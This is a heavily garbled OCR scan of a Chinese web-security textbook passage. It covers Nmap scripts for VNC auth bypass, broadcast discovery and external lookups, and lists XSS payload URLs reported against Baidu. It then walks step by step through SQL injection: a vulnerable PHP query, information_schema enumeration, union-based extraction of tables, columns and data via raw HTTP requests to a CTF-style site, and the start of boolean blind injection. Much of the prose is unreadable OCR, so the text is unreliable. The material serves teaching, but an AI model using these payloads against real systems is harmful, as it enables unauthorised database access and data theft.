fk%5 . Rsynchik4555, BLALLAVNCHRSS A, WnE3-65017m .

nmap --script=realvnc-auth-bypass 192.168.0.105

F:\Nmap>nmap —-—script=realunc—auth-bypa 192.168.8.185

Starting Nmap 7.48 < https://nmap.org ) at 2817-86-11 22:19 ?D1u
-168.9.165

21:6A (Intel Corporate?

Nmap done: 1 IP address <1 host up) scanned in 8.46 seconds

E3-65 RAMRSIIHE

5. RNSEMAEZRZTBEER
BN AT i 4 RIVATHER I J&3 358 0 P9 B 25 R 550 I BB L

U B 3-66 41 E3-67 i

nmap -n -p 445 --script=broadcast 192.168.0.105

F: \Nnap>nnap y 445 script=hroadcast 192.168.8.185

si//7nnap.org > at 2017-06-11

-2011-1802) .

Donain 1.1, 192.168.0.1
Subn
Rout

Donain

68.0.105 Fc20:45e6:6779:0:8ea9:82

udp

2.168.8

E3-66 HMBEMAEZRSFBHIER (1)



88 B WebZA . HiEMXEKIESH

:1:££f57:216a (NDP Solicited—-node)
£h {mDNSv6>
1:££f57:216a (NDP Solicited—-node)>
:fh {mDNSv6>
targets—ipub-multicast-echo:
IP: fe88::76ac:5fff:fedf:ced5 MAC: ?4:ac:5f:df:ce:d5 IFACE: eth@
IP: fe8B::8ea%:82ff:fe57:216a MAC: B8c:a%9:82:57:21:6a IFACE: ethd
s cript—arg newtargets to add the results as targets
ast—invalid-dst:
:8ea?:82ff:fe57:216a MAC: 8c:a%:82:57:21:6a IFACE:
cript—a newtargets to add the results as targets
targets—ipub—mul t-mld:
IP: fe88::76ac:k edf :ced5 MAC: P4:ac:5f:df:ce:d5 IFACE:
IP: fe8 8ea%:82f e57:216a MAC: 8c:a%:82:57:2
IP: fe88::h42e:22a alB:hd2c MAC: cc:af:7?

_ Use ——script-args=newtargets to add the results as targets

targets—ipvb-—multicast-slaac:
IP: fe8B::76ac:5fff:fedf:ced5S MAC: ?4:ac:5f:df:ce:d5 IFACE:
: ES cript-args=newtargets to add the results as targe
Failed resolve Y~ n".

Failed to solve Y~ p'.
Failed to » lve “445".

Nmap scan report for 192.168.6.165

Host is up (B.626s latency).

Not shoun: 997 closed ports

PORT STATE SERUVICE

22/tcp open ssh

443/tcp open https

902/tcp open iss—realsecure

MAC Address: 8C:A9:82:57:21:6A {Intel Corporated

Nmap done: 1 IP address (1 host up) scanned in 57.97 seconds

E3-67 HFMNEEMAELRSFEHERL (2)

6. Whois B4

A 58 =77 B 800 e e R 28 B ARk 5015 8, 4 03k 4T Whoisfi# T, 4n&13-68
FizR o

nmap -script external baidu.com
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F:\Nmap>nmap —script external bhaidu.com

Starting Nmap 7.48 ( https://nmap.org > at 20817-86-11 22:22 ?Dpiut
Pre—scan script results: .

n.asn 3 a mandatory parameter
report for bhaidu.com <123.125.114.144)>
up <8 latency).

Other addres for baidu.com (not scanned): 188.149.132.47 220.181.57.217 111.1
3.181.288
Not showun: 998 filtered ports
PORT STATE SERVICE
880/tcp ) http

http—xs

UNFIXED XSS vuln.

'
H
H http://youxi.m.baidu.con/softlist.php?cateid=?5&anp;phoneid=&amp;url=x22K
Z3Ex3Ciframez28src=http://uwu.xssed.<{br>con%3E

http://utility.baidu.con/traf/click.php?id=215&anp;url=http://logB.uvordp
e .con
H
H http://passport.baidu.con/?reg&anp;tpl=sp&anp;return_nethod=x22%3
anez2B8src=x22http://xssed.com%22%3E

http://zhangmen.baidu.con/search. jsp?f =mns&amp;tn=haidunp3&anp;ct=1342177
28&anmp; 1f =&amp; rn=&anmpiword=x3Cscriptz3Ealertx28<{hr>%2748S+hy+Donino%27429%3Cx2F
~ipt#3E ]

http://uuu2 .baidu.com/agent/agent _user.php

http:/Zvuu.haidu.con/s?ud=&quot ;&gt;;&lt;scriptigt;alert{document.cookie)
1t;/scripti&gt;

Bar s R S et e

http://vuwul .baidu.con/s?ud=&quot;&gt;;&lt;scriptigt;alert(document .cookie

2
Las

sscriptégt;alert{document .cookie

2

PR e

E3-68 Whoisfi##f
B 22 AR AR 155 7575 7T 2 W https:/nmap.org/nsedoc/categories .
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4.1 SQLEANBIEH

47 ArB-SOLSE X

SQLIENBL A 15 WebSLFHTE FF Xt F 2 S N 5048 ) B iR B 20T, AlTomA% N G o
WS HERLTEWIER, FESEENEUE EEW, JbhE v IR AEARFHISQL
VB SR SR HOHE R AL B AR .

—ABR T, FFRAN R AT UMEASIASQLIERIGIEEH . RIEHINH. 31ASQL
BRREPIT IR FIER, EREAER KGR FEKSQLIER .. JFFRENRLE
BAT SRS FEREA RN E AR R E R 24 FB (WselectiBf)), SERIEA
R AR FERFERE RN, HBHMESQLIEASIEEFHA.

"N LAPHPIE &) A1«
$query = "SELECT * FROM users WHERE id = $_GET['id']";

HTRXENZSHIDAE, B ASIEEER, BrUdEEH o DYEEBEESQL
ERHAITHE

LR, SQLIENIZ AR 73 ITVEF LU IR 2, an#kesiEAN . HiE. Union
EANE.

4.1.2 SQLFAHRE
SQLIEN I IR 17 A o 2 BA F R4 1
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o SHHPE: HniES RSN A R A LR .
o SEWAEHEEEN: EARNSHEPERRISQLIER, HWALHEEEM.
BEANKIDSHONUR, B E AT ARSI T FrR .

select * from users where id = 1°'

XAFFEBAEEBEME, e, DEANIDSH Nand 1=18, $#ATH
SQLIEAJ W RN«

select * from users where id = 1 and 1=1

FER1=18E, Hwhereiff]Fid=1t0NE, FrllTHESIRESid=14 K% E.
HEANIDS$ ~Nand 1=20F, BT 1=2A/oL, FrelREMR, RHHESIRESid=1
RERGER.

B AT BAATZE HIBTID S A ESQLIE NIRIR , By & 7T Ltk — 5 B ESQLIE Ayt
T, BUEEIEES B, EE#E— S RIURS BIRE.

FELFRAES, FLERE LR KRS EE AT 68 FFESQLIE NI, LI
REFFRFEF “HMESHERTEREREN” #T7FK.

4.1.3 5 MySQL FAERIENIR S

EFEMNASQLIE NI AT, Z6ii FTMySQLAH 5SQLFENIRIFRA A &R 4.

#EMySQL 5.0/ A2 J& » MySQLER 7£ £ 4 = A 77— “ information_schema”
MBI, EiZES, RERFELE=AKRSL, 55 LSCHEMATA. TABLESH
COLUMNS.

SCHEMATARAH il iZ H P BT B BIEERN ES, WE4-1FT7R. BIAIFELD
%R e FEE 4 1) 7 Bt 4 ISCHEMA_NAME.
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SELECT * FROM ~SCHEMATA®

s 5> CERRWIGE: 25 B G awndpn

+ 35 :

CATALOG_NAME SCHEMA_NAME EFAULT_CHARACTER_SET_NAME DEFAULT COLLATION NAME SQL_PATH
def information_schema ti8 utf8_general_ci
def 74cmsi = bk = L I'gbk_chinese_¢cil |
def attackit tin1 latin1_swedish_ci
def § dsw e utf8_general_ci

def infomation_schema gbk_chinese_ci

def maoi0cms ti8 utf8_general_ci

def mysql tf8 utf8_general_ci

def performance_schema Jtf8 ; utf8_general_ci

def security bk gbk_chinese_ci

ek & ut8_general ci
def sqgit utf8_general_ci

def yershop utf8_general_ci

El4-1 SCHEMTAZ%:

TABLESEA-iE1ZH P QI 2K T A BURERN E A RS, ME4- 2R BAIE
BT 1R ] AR B 44 13K 44 15 B 44 43 Al N TABLE_SCHEMA F1 TABLE

“TABLE CATALO], TABLE SOHENA. TABLE NANE TABLE TYPE ENGIE  VERSION  ROW.FORMAT TABLEROWS  AVOLROW.LENGTH = DATALLENGTH  MAX DATALLENGTN /INDEX.LENGTH
ot nfonmaion_wree CHARACTER SETS W wEucRr 0 Fund Wk £ 1 ¢
o ot sera COUATIONS: MEMORY 10 Fueg Mty =em
ot rtormaton.screms. COULATION. CHARAGTER, SET APPLICABRITY szwcRy 1o Famd Eon 15
ot itsason_samy COLUMNS A 10 O war o
et ntormater, schera COLUMN_ PRIVAEGES. = 10 Faes L 0
st Iormason sheTa ENGINES M oY 0 Fws o %
oot itormaten_ shesa EVENTS AN 0 opee e TS
st iorreton schers FLES ™ MEMORY. W Pesa oy e
o rdormaton_schea GLOBAL STATUS semuAY 0 Rus M 208
- omaton st GLOBAL VARARES ORY 0 Foms AL 0
oo riormon_ihea KEY.COLMN_USAGE weucay ° Fusd rurs s
- tomion screme OPTWMZER TRACE s 10 Oyumc e =g
- formaton_schema PARAVETERS = 10 Omame kL )
o lormasen, schems. PARTITIONS AL 10 Dysic: s e
ot Mformaton_sheva  PLUGING YSTEM My 0 Dmme L 0
- tormaon stwss PROCESSUST s 10 Dynasie - oA °
o lormaten. khema PROFLING sEMoRY 0 Fae S A s
ot icumation. schama NEFERENTIAL CONSTRANTS oY 0 P M au
ot riomien schea FOUTWES. Mysau 10 Dyanc e o
o Fiomaton shasa SCHEMATA sewonY 0 P win £
et lormatn_schemt. SCHEWA_PRIVLEGES semsaony 10 Fues ik o
Gt omeon mhena: SEBBON_STATUS MEMORY 10 P G e

El4-2 TABLES3:

COLUMNSHAFHEZ A POl E 8B ENEL . REMFE4A, WR4-3F7
Ao RATHERERRTILFEIREREL . RE M5 B4 K7 B 4% ATABLE_
SCHEMA. TABLE NAMEAICOLUMN NAME.
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SELYCT * FROM "COLUMRS"

[ > » exes 6B 25 B OB caces

+ 380

TABLE.CATALOG' TABLE_SCHEMA = TABLE NAME = . COLUMN_NAME ORDINAL_POSI'
def information_schema CHARACTER_SETS CHARACTER_SET_NAME
def schema CHARACTER_SETS DEFAULT_ COLLATE _NAME
de! information_schema CHARACTER_SETS DESCRIPTION

det ~ & information_schema CHARACTER_SETS MAXLEN

def information_schema COLLATIONS COLLATION_NAME

det information_schema  COLLATIONS CHARACTER_SET_NAME
def information_schema COLLATIONS D

det ¢ information_schema  COLLATIONS 1S DEFAULT

def information_schema COLLATIONS 1S_COMPILED

aef information_schema  COLLATIONS SORTLEN

det information_schema COLLATION_CHARACTER_SET_APPLICABILITY COLLATION_NAME

det Information_schema COLLATION_CHARACTER_SET_APPLICABILITY CHARACTER_SET_NAME
del information_schema COLUMNS TABLE_CATALOG

def information_schema  COLUMNS TABLE_SCHEMA

def information_schema COLUMNS TABLE_NAME

def L @linfotmation schema  COLUMNS COLUMN_NAME

det Information_schema COLUMNS ORDINAL_POSITION

def - [ information_schema COLUMNS COLUMN_DEFAULT

def information_schema COLUMNS IS_NULLABLE

def information_schema COLUMNS DATA_TYPE

del information_schema COLUMNS CHARACTER_MAXIMUM_LENGTH
def _  information_schema COLUMNS CHARACTER_OCTET_LENGTH
det [ information_schema COLUMNS NUMERIC_PRECISION
dof € information_schema COLUMNS NUMERIC_SCALE

def information_schema COLUMNS DATETIME_PRECISION
def & information_schema COLUMNS CHARACTER_SET_NAME
def information_schema COLUMNS COLLATION_NAME

del | & information_schema COLUMNS COLUMN_TYPE

def information_scheta COLUMNS COLUMN_KEY

def " information_schema  COLUMNS EXTRA

E4-3 COLUMNS®
H P My SQLZ 15 ) A1 B Bt R B«
1. MySQL &Ei§iE30
TEANFIEAT A 26 AR, TEAJA0 R Fiw o

SELECT EEMMFESL FROM FE4 . K4

TEHIE — 2 ALY, BRI T AR

SELECT EEMM T4 FROM 4. H£ 4 WHERE CANI&MFN T B4 ="CmatrmmE

TERNIE P 2% C R0, EBRJWTR TR

SELECT EH WA T4 FROM 4 .34 WHERE CAI%&M: 1 B 4="C Mm% 1 {4 AND 4%
1 2 B4 =T 2 HfHE

2. limit B9EBE
limit 48 A% 2N limit myn, H A m2 il E0A E, MO, BARE—4%
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W nRERnFKiLFE. Flilimit 0,1 RMNFE—FICFIFME, W—%ids, M
limitFA{sE F limit 25 1) (1) 45 52 a0 B 4-4 /1 E4-5 7, AT LR B S E B — 33 1 X 5l .

SELECT * FROM users

| Oemem 8 25 B O#G smsez

+ IR
—T— < id username password
T PRE FcEH Xmp 1 Dumb Dumb
L P®E 3iEH X 2 Angelina  Ikilkyou
) PHE 385 XM 3 Dummy  p@ssword
 P®B¥E 3:EH X W 4 secue  crappy
T PEE 385 X @ 5 stpd stupidity
| P& 385 X M 6 superman  genious
T PREB 38 XM 7 batman moblle
T PEE JcEH X @ 8 admin admin
E4-4 TERImitATREgER
SELECT * FROM uaati limit- 0,1'
+ IR
—T— < id username password
T PHE 3 EH XM 1 Dumb Dumb
T OE #Pm pam JEN XBB ESE

E4-5 ERlmitFRMEaER

3. BRICEN/ITRE
®  database(): =i Xk FH A 00 2 .
e version(): HATMySQL A
e user(): HHTMySQLIIA /.
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4. FEE
FEMySQLH, # WIERBFFHIRIEFTR: #B--EHE/**/ .

5. REERE
WERTERBRIE: /*! code */. WEGERET LLHTEBASQLIBEAF, HARMITR
fIIFISQLIEA], FHZE—AN T

index.php?id=-15 /*IUNION*/ /*ISELECT*/ 1,2,3.

4.1.4 Union JEAIEH

UnioniE AN BT ()X L http://www.ccctf.cn/union.php?id=1.
Vi iz Pk, DU R [ )45 R a0 E4-6FTR .

L _ i s =

GET /union.php?id=1HTTP/1.1 A ‘ BTTP/1.1 200 OK

Bost: www.ccctf.cn p. || Date: Fri, 01 Dec 2017 14:37:05 GMT
Oser-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.12; rv:53.0) || Server: Apache

Gecko/20100101 Firefox/53.0 i; X-Powered-By: PBP/5.6.30

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/%;q=0.8 || Content-Length: 15
Accept-Language: zh-CN,zh;q=0.8,en-05;g=0.5,en;q=0.3 | || Connection: close

Accept-Encoding: gzip, deflate || Content-Type: text/html; charset=U0TF-8

Connection: close i

Upgrade-Insecure-Requests: 1 5 Dumb : Dumb<br>

E4-6 3hidlid= 1R LR |
FEURLEAHIN—AN85]5, BRYTHE, mE4-757R, THIRE#ZE R Sid=11
SR .

|GET /union.php?id=1' BTTP/1.1 7‘ || BrTP/1.1 200 OK
|Bost: www.cccte.cn || pate: Fri, 01 Dec 2017 14:33:49 GHT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.12; rv:53.0) || Server: Apache
Gecko/20100101 Firefox/53.0 || X-Powered-By: PHP/5.6.30
jhcccpt: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8 || Content-Length: 7
{Accept-Language: zh-CN,zh;q=0.8,en-05;9=0.5,en;g9=0.3 || Connection: close
IAccopt»Encnding: gzip, deflate || Content-Type: text/html; charset=0UTF-8
Connection: close i
g’ Upgrade-Insecure-Requests: 1 ] : <br>
| i
| i
! !
|

Bl4-7 ifiElid=1'RRENEE

Vilalid=1 and 1=1, HFand I=IAK, FrUATREMNIRE Sid=1MRAKEE, WE
4-8Ffi7~. ViHlid=1 and 1=2, B Fand 1=2AMR, FrUAREMNIERESid=1FEHREE,
& 4-9F R,
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P WebkaxFr: HEnlE&kigd

. Eotorertl ot ciorsl Butemetdl |

GET /union.php?id=l+and+l=1 HTTP/1.1

Host: www.ccctf.cn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-05;9=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Opgrade-Insecure-Requests: 1

E4-8

ihiElid =1 and 1=1TRENER

GET /union.php?id=l+and+1=2 HTTP/1.1

Host: www.ccctf.cn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/%;q=0.8
Accept-Language: zh-CWH,zh;qg=0.8,en-06;9=0.5,en;q=0.3

hocept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

>

E4-9 ifElid=1 and 1=2RTERKER

L
. HTTP/1.1 200 OK
| Date: Fri, Ol Dec 2017 14:37:05 GMT
Server: Apache
X-Powered-By: PHP/5.6.30
Content-Length: 15
Connection: close
Content-Type: text/html; charset=0TF-8

{
{

Dumb : Dumb<br>

| BTTP/1.1 200 OK

Date: Fri, 0l Dec 2017 14:37:18 GHT

| Server: Apache

|| X-Powered-By: PHP/5.6.30
|| Content-Length: 7

|| Connection: close

Content-Type: text/html; charset=0UTF-8

i <br>

AT LATR H % O 3l T BEAFAESQLYE NIRIA 458 . #25E, (i FHorder by 1-99i&A) 7
WZEIERN 7B E, 7T Norder by =1-99, WIVi[Alid=1 order by 3, TR
F5id=1#FRMZE R, WE4-108TR~. Vildid=1 order by 4, TR Bl Hid=17~[E 1) 45

B, MFBHECN3, nE4-11F7R.

T R e ML )
GET /union.php?id=ltorder+by+3 BTTP/1.1 A
Host: www.ccctf.cn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/#;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-05;9=0.5,en;g=0.3

hccept-Encoding: gzip, deflate

Connection: close

Opgrade-Insecure-Requests: 1

El4-10 ifialid=1 order by 3FTAIEHIER

| BTTP/1.1 200 OK
| Date: Fri, 01 Dec 2017 14:55:59 GMT

pvauses | cren

Server: Apache

| X-Powered-By: PHP/5.6.30
Content-Length: 15

Connection: close
Content-Type: text/html; charset=UTF-8

Dumb : Dumb<br>

R —

-
GET /union.php?id=l+order+by+4 HTTP/1.1

Bost: www.ccctf.cn

User-agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/%;q=0.8
Accept-Language: =h-CN,zh;g=0.8,en-05;g=0.5,en;g=0.3

Accept-Encoding: gzip, deflate

Connection: close

Opgrade-Insecure-Requests: 1

El4-11 ifialid=1 order by 4RTAIEHIGER

A ;1 BTTP/1.1 200 OK

| Date: Fri, 01 Dec 2017 14:57:29 GMT
Server: Apache
X-Powered-By: PBP/5.6.30
Content-Length: 7

| Connection: close

|, Content-Type: text/html; charset=0UTF-8

: <br>

FERHE R B S HIDX NN, REEEERER N AR EEITE, TR
B dE s B 2 U B, B RART BAE A UnioniE N, HiBiTorder byZ 45 &, B3|+

B#N3, FrbAUnioniE: AN HIEEI G0 T TR o

union select 1,2,3

WE4-12f7w, 0 LLE B T R ShAT, {HEF IR [Flunion selectf 45 8, X2 H
FARG HR (A 55— 45 58, T lunion select3k BY ) 45 5L 9% % - 2 T -
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e jj i

{GET /union.php?id=1+union+select+l,2,3 BTTP/1.1 Ta || 8TTP/1.1 200 OK

|Bost: www.ccctf.cn || Date: Fri, 0l Dec 2017 15:00:59 GMT
|User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.12; rv:53.0) || server: Apache

stcko/ZOlOOlOl Firefox/53.0 || X-Powered-By: PHP/5.6.30

|Accept: text/html,application/xhtml+xnl,application/xml;q=0.9,+/+;q=0.8 it

{Accopt-Language: zh-Cii,zh;g=0.8,0n-05;q=0.5,0n;q=0.3 !

[Accopt-zncoding: gzip, deflate [}

|Connection: close {

|0pgrade-Insecure-Requests: 1 it

Content-Length: 15
Connection: close
Content-Type: text/html; charset=0TF-8

E4-12 ifjElid=1 union select 1,2,3FTIEMZERE

A LUEA T ESEIDE, 1EARS IR FElunion select145 5, Filan, EIDREREN
~1, XFEEEEE P EAHId=—1123E, BTk [Flunion selectf) 455, nE4-13F7~.

HTTP/1.1 200 OK
Date: Fri, 01 Dec 2017 15:02:27 GMT

e —
GET /union.php?id=-l+union+select+1,2,3 HTTP/1.1 X i
Bost: www.ccctf.cn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 08 X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/#;q=0.8 || Content-Length: 9

Accept-Language: zh-CN,zh;q=0.8,en-05;9=0.5,en;9=0.3 Connection: close

Accept-Encoding: gzip, deflate Content-Type: text/html; charset=0TF-8
Connection: close }

Opgrade-Insecure-Requests: 1 2 : 3<br>

E4-13 ifiglid=-1 union select 1,2,3FREMNER
IR [El S5 B2 ¢ 3, Bk fEunion select 1,2,37, 2F13 4L B 7] LA AMySQL

EA). FRATERE2M0 0 B A YT R E 4 ([ Hdatabase()BR %), 171A)id=1 union
select 1,database(),3, T KINIRE T HEEREE, WE4-14077R.

écsr 7union.php?id=-l+union+select+l,database(),3 BITP/1.1 Ta | BTTP/1.1 200 OK

|Host: www.ccctf.cn || Date: Fri, 01 Dec 2017 15:10:39 GMT
|User~-Agent: Mozilla/5.0 (Macintosh; Intel Mac 08 X 10.12; rv:53.0) | Server: Apache

|Gecko/20100101 Firefox/53.0 X-Powered-By: PBP/5.6.30

{Accept: text/html,application/xhtml+xnl,application/xml;q=0.9,%/4;q=0.8 Content-Length: 11

Accept-Language: zh-CH,zh;q=0.8,en-05;9=0.5,en;g=0.3 Connection: close

Accept-Encoding: gzip, deflate Content-Type: text/html; charset=0TF-8
Connection: close

|Upgrade-Insecure-Reguests: 1 sql : 3<br>

E4-14 FIAUnion;EF AN3kEldatabase()
BAMTHIEEESLRE, T REAAUTHSERRS,

select table_name from information_schema.tables where table_schema=’sql’ limit 0,1;

SR BRGER), XEFEMLES, SR0E4-15R, REIERET
BIRERFHE AL . WRFEESE -ARL, WESUimitH )58 — 5, Flanfd
Filimit 1,15 7] CAIREUECHE PR 28 — /R 44, WEl4-16F7R.

GET | ! BTTP/1.1 200 OK

/union.php?id=-1l+union+select+l, (select+table_name+from+information_schem S Date: Fri, Ol Dec 2017 15:16:18 GMT
a.tablos+where+table_schema='sql'+limit+0,1),3 ETTP/1.1 | server: Apache

Host: www.ccctf.cn | X-Powered-By: PHP/5.6.30

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.12; rv:53.0) | Content-Length: 14

Gecko/20100101 Firefox/53.0 || connection: close

Accept: text/html,application/xhtml+xml,application/zml;g=0.9,%/#;g=0.8 Content-Type: text/html; charset=0TF-8
Accept-Language: zh-Cl,zh;q=0.8,en-05;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate emails : 3<br>

Connection: closs
Upgrade-Insecure-Requests: 1

E4-15 FIAUnionENRKEE—PRE
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e sox ] cotmmses

|GET A 'g ATTP/1.1 200 OK
/union.php?id=-l+union+select+l, (select+table name+from+information_schem B Date: Fri, 01 Dec 2017 15:18:31 GMT
a.tables+where+table_schema='sql'+limit+1l,1),3 @rTR/1.1 Il server: Apache

|Bost: www.ccctf.cn || X-Powered-By: PBP/5.6.30

|User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.12; rv:53.0) il Content-Length: 16

{Gecko/20100101 Firefox/53.0 il connection: close

Becept: text/html,application/xhtml+xml,application/xml;g=0.9,*/%;q=0.8 || Content-Type: text/html; charset=0TF-8
Accept-Language: zh-CN,zh;q=0.8,en-058;9=0.5,en;9q=0.3 \

Accept-Encoding: gzip, deflate i

Connection: close |

|Opgrade-Insecure-Requests: 1 [}

E4-16 FIAUnionEAKEE-IRE

WIE, MERNRZESHERTE, CHELRE, FHEERANTEREL, XELL
emails R L A, TEWHIERW T s

select column_name from information_schema.columns where table_schema=’sql’ and
table_name=’emails’ limit ©,1;

ZRIE2RAL B RN IER], FBESEREAA D, 45RNE4-17F1R, FKE T emails
RHEHE—ANFERL, B EMImit 1,1, KT emails®HIE - NFEEZ, WE4-18
Ffi7m o

| referers : 3<br>

GET Ta || BTTP/1.1 200 0K

/union.php?id=-1l+union+select+l, (select+column_name+from+information_sche & Date: Fri, 01 Dec 2017 15:28:09 GMT
ma.columnstwhers+table_schema='sql'+and+table_name='emails'+limit+p,1),3 | server: Apache
BTTP/1.1 || X-Powered-By: PHP/5.6.30
Bost: www.ccctf.cn !l Content-Length: 10
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.12; rv:53.0) || Connection: close
Gecko/20100101 Firefox/53.0 || Content-Type: text/html; charset=0TF-8
Accept: text/html,application/xhtml+xml, Applicntion/xnl q=0.9,%/%;q=0.8 |
Accept-Language: zh-CN,zh;q=0.8,en-05;9=0.5,en;g=0. || id : 3<br>

Accept-Encoding: gzip, deflate
Connection: close

it
Opgrade-Insecure-Requests: 1 |

E4-17 FIBAUnionsFNKEE—NFER

X-Powered-By: PHP/5.6.30

|| Content-Length: 16

Connection: close

Content-Type: text/html; charset=UTF-8

— [
GET || BTTP/1.1 200 OK
/union.php?id=-l+union+select+l, (select+column_name+from+information_sche || Date: Fri, 01 Dec 2017 15:29:09 GMT
ma.coli here+table_sch '8ql'+and+table_name='emails'+limit+1},1),3 ll server: Apache

BTTP/1.1 V

Host: www.ccctf.cn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/%;q=0.8
Accept-Language: zh-ClN,zh;g=0.8,en-05;9=0.5,en;gq=0.3

Accept-Encoding: gzip, deflate

Connection: close

Opgrade-Insecure-Requests: 1

E4-18 FIAUnionENKEE _NFEH

HIRM T FEA . RABMFERARS, AT A& SQLIE A & W AH FE 288, 5 an
A7 Bremail _id0f M FI$HE, MIERISQLIERI I T AR,
select email_id from sql.emails limit 0,1;

SR NE4-19F7R, THHRE T email idf 28— 25504

email_id : 3<br>
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|| BTTP/1.1 200 OK
Date: Fri, 01 Dec 2017 15:33:06 GMT
|| server: apache
|| X-Powered-By: PHP/5.6.30
| Content-Length: 24
|| connection: close
|| Content-Type: text/html; charset=0TF-8

GET
/union.php?id=-l+union+select+l, (select+email id+from+sql.emails+limit+0
,1),3 BTTR/1.1

Bost: www.ccctf.cn

User-Agent: ¥ozilla/5.0 (Macintosh; Intel Mac 05 X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0

Accept: text/html,application/xhtml+zml,application/smljg=0.9,%/*;q=0.8
Accept-Language: zh-CH,zh;q=0.8,en-05;9=0.5,en;g=0.3

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

E4-19 FIBUnionsE \FEENEIRE

4.1.5 Union SEARE ST

AUnionE AR EF, FEFIRKNGETSHID, KIDHERISQLIEAH, EHHEE
RS HIDXT NN, SR 5K 5 — 4 145 R fflusername Alladdress%i H 21 T T ,
TR EeE 2 U _EA, B AR LR B Unioni® &) 2 ) HMh e, ST .

<?php
$con=mysqli_connect("localhost","root","123456","test");
if (mysqli_connect_errno())
1
echo "#EE%RM: " . mysqli_connect_error();
}
$id = $_GET['id"];
$result = mysqli_query($con,"select * from users where “id =".$id);
$row = mysqgli_fetch_array($result);
echo $row['username’'] . " : " . $row['address'];
echo "<br>";
?>

| Dumb@ahakkan.com : 3<br>

243% [a)id=1 union select 1,2,30F, FHATHISQLIBEA)N:
select * from users where “id =1 union select 1,2,3

I SQLIEA) AT LA4) Ayselect * from users where ‘id'=1#lunion select 1,2,3# %%, #
FH 58 —2ki8H) (Union®if)) 5 v] AIREXECE 22 304

4.1.6 Boolean I AT

Booleany: AW fd k. http://www.ccctf.cn/boolean.php?id=1.
Vi %ML, DU R Flyes, W1E4-20F7 78

AR R iR B AE 2 >
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|| @TTP/1.1 200 OK
| Date: Fri, 01 Dec 2017 16:05:00 GMT
Server: Apache

GET /boolean.php?id=1 BTTP/1.1
HBost: www.ccctf.cn

OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,+%/%;¢=0.8
Bccept-Language: zh-CN,zh;q=0.8,en-05;g=0.5,en;g=0.3

Accept-Encoding: gzip, deflate

Connection: close

Opgrade-Insecure-Requests: 1

\; X-Powered-By: PHP/5.6.30

|| Content-Length: 2

Connection: close

Content-Type: text/html; charset=UTF-8

|| ves

E4-20 iHlElid= 1M FEL LR
fr'fURLFIﬁT‘JJI]—Aﬁ@l?, ﬁo\ ], kmbilﬁl %I‘Eycsg‘iﬁino, tNE4-21 7R

GET /boolean.php?id=1' BTTP/1. 1 7S H’H‘P/l 1 200 OK

Host: www.ccctf.cn Date: Fri, 01 Dec 2017 16:05:00 GMT
User-Agent: Mozilla/5.0 {Macintosh; Intel Mac 0S8 X 10.12; rv:53.0) Server: Apache

Gecko/20100101 Firefox/53.0 X-Powered-By: PHP/5.6.30

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8 || Content-Length: 2

Accept-Language: zh-Cl,zh;g=0.8,en-05;9=0.5,en;g=0.3 || Connecticn: close

Bccept-Encoding: gzip, deflate Content-Type: text/html; charset=UTF-8
Connection: close
Opgrade-Insecure-Requests: 1

| mo

E4-21 ifElid=1 'BMREHNER

Pilid=1"and 1=1%23, id=1"and 1=2%23, & IR 6] {145 25 B R yesHino, F
MUDMIME, KILR[E IR Reyesii#no, LA AW, TUHE RiR[Elyesdino, Mi%H
IR B E04E 2 A 08 , B LA AR AS AT 4 F UniondE N o« 40 AT PA 22385 FiBooleanyE A ,
BooleanyE N\ & 5 1418 SQL A WiiE &), i i 2575 UL TH IR [B] 45 5 SR HE 0 R £ SQL 1) iy
AR ESLHT, CABCIREUEE R SR . BRAVCHBEGRELMKE, 8T
B o

' and length(database())>=1--+

BHEGS, FroATEERRRER. 1M E LT UREES T, W' and length
(database())>=3--+F1' and length(database())>=4--+, FA1H LAFi&IXFERIER], SRIEM
HTHEKIREIZER, wWE4-22~E4-24F7R .

[GET /boolean.php?id=1 tand+length(database())>=1--+ BTTE/1.1

| BTTE/1.1 200 OK

»

|Bost: www.ccctf.cn || Date: Fri, 01 Dec 2017 16:17:26 GMT
Oser-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.12; rv:53.0) |\ Server: Apache
|Gecko/20100101 Firefox/53.0 | X-Powered-By: PBP/5.6.30
Accept: bext/html,upplicution/xhtnlﬂml,applicacion/ml.q=0 9,%/*;q=0.8 i/ Content-Length: 3
